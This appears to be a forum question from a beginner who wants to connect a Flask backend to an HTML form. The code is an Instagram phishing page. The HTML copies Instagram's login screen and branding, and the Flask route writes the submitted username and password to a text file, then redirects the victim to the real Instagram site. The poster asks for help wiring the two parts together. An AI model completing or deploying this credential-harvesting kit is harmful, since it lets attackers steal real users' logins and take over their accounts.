Title basically explains it. I'm messing around with flask on the localhost, and I was wondering how to write the credentials given in the html form to a txt file. Here is the flask app code and the html:
from flask import Flask, render_template, request, redirect
app = Flask(__name__, static_folder='static', template_folder='templates')
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
print(f'Username: {username}\nPassword: {password}')
with open('credentials.txt', 'w') as f:
f.write(f'Username: {username}\nPassword: {password}')
return redirect("https://www.instagram.com/")
if __name__ == '__main__':
app.run(debug=True)
and here is the html:
<head>
<link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
<span id="root">
<section class="section-all">
<!-- 1-Role Main -->
<main class="main" role="main">
<div class="wrapper">
<article class="article">
<div class="content">
<div class="login-box">
<div class="header">
<img class="logo" src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Instagram_logo.svg/1200px-Instagram_logo.svg.png" alt="Instagram">
</div><!-- Header end -->
<div class="form-wrap">
<form class="form" onsubmit="printValues(event)">
<div class="input-box">
<input type="text" id="name" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" maxlength="30" autocapitalize="off" autocorrect="off" name="username" value="" required>
</div>
<div class="input-box">
<input type="password" name="password" id="password" placeholder="Password" aria-describedby="" maxlength="30" aria-required="true" autocapitalize="off" autocorrect="off" required>
</div>
<span class="button-box">
<button class="btn" type="submit" name="submit">Log in</button>
</span>
<a class="forgot" href="">Forgot password?</a>
</form>
</div> <!-- Form-wrap end -->
</div> <!-- Login-box end -->
<div class="login-box">
<p class="text">Don't have an account?<a href="#">Sign up</a></p>
</div> <!-- Signup-box end -->
<div class="app">
<p>Get the app.</p>
<div class="app-img">
<a href="https://itunes.apple.com/app/instagram/id389801252?pt=428156&ct=igweb.loginPage.badge&mt=8">
<img src="https://www.instagram.com/static/images/appstore-install-badges/badge_ios_english-en.png/4b70f6fae447.png" >
</a>
<a href="https://play.google.com/store/apps/details?id=com.instagram.android&referrer=utm_source%3Dinstagramweb%26utm_campaign%3DloginPage%26utm_medium%3Dbadge">
<img src="https://www.instagram.com/static/images/appstore-install-badges/badge_android_english-en.png/f06b908907d5.png">
</a>
</div> <!-- App-img end-->
</div> <!-- App end -->
</div> <!-- Content end -->
</article>
</div> <!-- Wrapper end -->
</main>
<!-- 2-Role Footer -->
<footer class="footer" role="contentinfo">
<div class="footer-container">
<nav class="footer-nav" role="navigation">
<ul>
<li><a href="">About Us</a></
I don't really care about it printing to the console (which it doesn't do). I'm a newbie, so I don't know how to integrate them. Any help is appreciated, thanks!!